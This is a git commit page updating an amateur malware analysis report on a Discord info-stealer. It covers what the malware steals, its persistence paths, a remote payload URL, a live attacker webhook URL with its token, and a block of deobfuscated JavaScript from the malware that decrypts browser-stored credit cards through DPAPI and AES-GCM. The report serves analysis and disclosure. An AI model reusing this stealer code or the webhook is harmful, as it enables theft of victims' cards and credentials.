Update 'Report.md'
This commit is contained in:
parent
ea0c147866
commit
1adbed28c0
94
Report.md
94
Report.md
|
|
@ -8,16 +8,17 @@ This virus is then sold to other threat actors, encoded and compacted in an Elec
|
|||
Encountered in the wild via a third party who got infected and tried to send me the link via message. The third party promptly realised something was afoot, tried to re-log upon having been disconnected and realised a 2FA had been set and they were now locked outside their account. Another third party then got infected in turn, and promptly got notified of a couple of payments for two Discord nitro gift cards and realised their discord had been compromised through similar means (This part is probably to setup a discord nitro scam but I never got to witness it).
|
||||
|
||||
## Behaviour
|
||||
During the whole process the attacker interacted via Discord messages with other victims through a simple social enginering attack. When caught and publicly outed on a server he then promptly tried to convince other victim he was the real owner of the account, and not in fact a hacker.
|
||||
During the whole process the attacker interacted via Discord messages with other victims through a simple social enginering attack. When caught and publicly outed on a server he then promptly tried to convince other victims he was the real owner of the account, and not in fact a hacker.
|
||||
|
||||
This behaviour is very unlikely to be from a threat actor and most likely a sk trying to get some kicks out of the situation. However, interacting on a small community through a well known user, he was very promptly caught and kicked.
|
||||
|
||||
|
||||
## Malware Info
|
||||
|
||||
During the analysis of the virus, a couple of string caught my attention and are relevant to the per-instance deployment the threat.
|
||||
During the analysis of the virus, a couple of strings caught my attention and are relevant to the per-instance deployment the threat.
|
||||
|
||||
These informations are set at creation, and link to a discord bot and a server payload. This payload could not be retreived after the fact and therefore remains a mistery.
|
||||
|
||||
### Information stolen:
|
||||
* All discord information
|
||||
* All discord contact informations
|
||||
|
|
@ -31,19 +32,26 @@ These informations are set at creation, and link to a discord bot and a server p
|
|||
* APP_DATA + '\\MobaXterm\\MobaXterm.xml'
|
||||
* All Session in winscp2
|
||||
* All files in Downloads, Documents and Desktop containing `discord_backup_codes`
|
||||
* If the account password is cracked:
|
||||
* origin_url, username_value, password_value FROM logins
|
||||
* host_key, name, encrypted_value FROM cookies
|
||||
* card_number_encrypted,expiration_month,expiration_year,name_on_card FROM credit_cards
|
||||
* If the account password is compromised:
|
||||
* `origin_url, username_value, password_value FROM logins`
|
||||
* `host_key, name, encrypted_value FROM cookies`
|
||||
* `card_number_encrypted,expiration_month,expiration_year,name_on_card FROM credit_cards`
|
||||
* All sent in a neatly packed
|
||||
* '\\Passwords.txt'
|
||||
* '\\Cookies.txt'
|
||||
* '\\Credit Cards.txt'
|
||||
* '\\Exodus Wallet.zip'
|
||||
* '\\WinSCP.txt'
|
||||
|
||||
### Data Persistence
|
||||
A data persistence is setup in the following locations, archiving the compromised discord install
|
||||
* `path + '\\Local Extension Settings\\bfnaelmomeimhlpmgjnjophhpkkoljpa'+ '\\Phantom_' + discord_install_name + '.zip' `
|
||||
* `path + '\\Local Extension Settings\\nkbihfbeogaeaoehlefnkodbefgpgknn' + '\\Metamask_' + discord_install_name + '.zip'); `
|
||||
|
||||
### Information on the payload
|
||||
* Payload:
|
||||
* https://everlasting-swanky-comma.glitch.me/tiktoked.js
|
||||
* A payload loaded at runtime. Could not be analysed.
|
||||
|
||||
A payload loaded at runtime. Could not be analysed.
|
||||
* https://everlasting-swanky-comma.glitch.me/tiktoked.js
|
||||
|
||||
### Information gathered on the attacker
|
||||
#### Client Info
|
||||
|
|
@ -53,11 +61,10 @@ These informations are set at creation, and link to a discord bot and a server p
|
|||
* Created: Mon, 25 Apr 2022 16:00:44 UTC
|
||||
|
||||
#### Bot
|
||||
* Hook:
|
||||
The webhook of the discord bot, still active at the time of writing this report.
|
||||
* https://discord.com/api/webhooks/984924488405753896/3jbjvpvICepQHbqeWzCaHeRg31j_lVgJAGZmjMk9HekCjcHcaCLaN2ItzOeuh4NBx6f-
|
||||
* The webhook of the discord bot, still active at the time of writing this report.
|
||||
|
||||
* Bot:
|
||||
* Bot info:
|
||||
* type: 1
|
||||
* id: "984924488405753896"
|
||||
* name: "Spidey Bot"
|
||||
|
|
@ -79,8 +86,8 @@ These informations are set at creation, and link to a discord bot and a server p
|
|||
Through the exploitation of various windows vulnerabilities and piss-poor security implementations, many other services are also targeted.
|
||||
If the victim is using any of these four applications, the virus will find it and leverage it to gain full control over their computer.
|
||||
|
||||
* winscp.net
|
||||
* WinSCP is prone to a vulnerability that lets an attacker upload arbitrary files to a victim's computer or to download arbitrary files from the victim's computer in the context of the vulnerable application.
|
||||
* WinSCP.net
|
||||
* WinSCP is prone to a vulnerability that lets an attacker upload arbitrary files to the victim's computer or to download arbitrary files from the victim's computer in the context of the vulnerable application.
|
||||
* Mainly non encrypted config files in `'HKCU\\SOFTWARE\\Martin Prikryl\\WinSCP 2\\Sessions'`
|
||||
* 2007-09-13 WinSCP 4.0.3 - URL Protocol Handler Arbitrary File Access
|
||||
* https://www.securityfocus.com/bid/25655/info
|
||||
|
|
@ -100,19 +107,64 @@ If the victim is using any of these four applications, the virus will find it an
|
|||
* https://www.exploit-db.com/exploits/44357
|
||||
|
||||
## WinDPAPI
|
||||
The official windows credential manager is scanned for every entry, looking for the following:
|
||||
The official windows credential manager is scanned leveraging the discord install, looking for the following:
|
||||
|
||||
* ``SELECT origin_url, username_value, password_value FROM logins``
|
||||
* ``SELECT host_key, name, encrypted_value FROM cookies``
|
||||
* ``SELECT card_number_encrypted,expiration_month,expiration_year,name_on_card FROM credit_cards``
|
||||
|
||||
However unless the windows master key is exposed (through one of the above exploits), the only vector of exploitation is password reuse or a trivial enough password.
|
||||
The actual password cracking is very likely in the payload : https://everlasting-swanky-comma.glitch.me/tiktoked.js or the encrypted m0Xe function.
|
||||
However unless the windows master key is exposed (through one of the above exploits), the only vector of exploitation is password reuse or a trivial enough password, as far as I know.
|
||||
|
||||
* Sources:
|
||||
* https://en.wikipedia.org/wiki/Data_Protection_API
|
||||
* https://github.com/abdulkadir-gungor/DPAPI/tree/main/Browser_Stealer
|
||||
* https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords
|
||||
However the following snipplet doesn't seems to show any sign of external password guess, leading to a (possibly) undisclosed bad implementation of WinDPAPI from Discord. Any additional input on this particular behaviour is very welcome. [Permalink]("http://proxy.dandaedre.com/gitea/Dandaedre/Desobfuscating-Spidey/src/commit/ea0c147866ac4b1d44b9bdbeb7637d6dc6476245/phase2.js#L225")
|
||||
|
||||
```js
|
||||
async function get_credit_card_info() {
|
||||
...
|
||||
for (let i = (0); i < LIST_DISCORD_PATHS['length']; i++) {
|
||||
if (discord_path['includes']('cord')) continue;
|
||||
if (req_fs['existsSync'](discord_path + 'Web Data')) {
|
||||
...
|
||||
let buffer_json_key = Buffer['from'](JSON['parse'](req_fs['readFileSync'](fixed_path + 'Local State'))['os_crypt']['encrypted_key'], 'base64')['slice'](5);
|
||||
...
|
||||
let buffer_unprotected = req_win_dpapi['unprotectData'](Buffer['from'](buffer_json_key, 'utf-8'), null, 'CurrentUser');
|
||||
write_stream['write']('
|
||||
CREDIT CARDS FROM: ' + discord_path + ' #EPSILON
|
||||
');
|
||||
buffer_json_key = req_sqlite(tmp_web_data);
|
||||
let request_sql = buffer_json_key['prepare']('SELECT card_number_encrypted,expiration_month,expiration_year,name_on_card FROM credit_cards')['all']();
|
||||
if (request_sql != undefined) {
|
||||
for (var element_sql of request_sql) {
|
||||
if (element_sql['card_number_encrypted'] != '') {
|
||||
let card_encryption = element_sql['card_number_encrypted'];
|
||||
try {
|
||||
if ((card_encryption[(0)] == (1)) && (card_encryption[(1)] == (0)) && (card_encryption[(2)] == (0)) && (card_encryption[(3)] == (0))) {
|
||||
write_stream['write']('===========================================================================
|
||||
Name On Card: ' + element_sql['name_on_card'] + '
|
||||
Credit Card Number: ' + req_win_dpapi['unprotectData'](card_encryption, null, 'CurrentUser')['toString']('utf-8') + '
|
||||
Expiration Date: ' + element_sql['expiration_month'] + '/' + element_sql['expiration_year'] + '
|
||||
===========================================================================
|
||||
');
|
||||
} else {
|
||||
let card_encription_formated = card_encryption['slice'](3, 15);
|
||||
let card_aes_dec = card_encryption['slice'](15, card_encryption['length'] - 1);
|
||||
let card_aes_auth = card_encryption['slice'](card_encryption['length'] - 1, card_encryption['length']);
|
||||
let aes_decipher = req_crypto['createDecipheriv']('aes-256-gcm', buffer_unprotected, card_encription_formated);
|
||||
aes_decipher['setAuthTag'](card_aes_auth);
|
||||
write_stream['write']('===========================================================================
|
||||
Name On Card: ' + element_sql['name_on_card'] + '
|
||||
Credit Card Number: ' + aes_decipher['update'](card_aes_dec, 'base64', 'utf-8') + aes_decipher['final']('utf-8') + '
|
||||
Expiration Date: ' + element_sql['expiration_month'] + '/' + element_sql['expiration_year'] + '
|
||||
===========================================================================
|
||||
');
|
||||
}}}}}}}}}
|
||||
```
|
||||
|
||||
If an actual password cracking exists it is very likely in the payload : https://everlasting-swanky-comma.glitch.me/tiktoked.js or the encrypted m0Xe function.
|
||||
|
||||
Sources:
|
||||
* https://en.wikipedia.org/wiki/Data_Protection_API
|
||||
* https://github.com/abdulkadir-gungor/DPAPI/tree/main/Browser_Stealer
|
||||
* https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords
|
||||
|
||||
## Discord security
|
||||
|
||||
|
|
|
|||
Reference in New Issue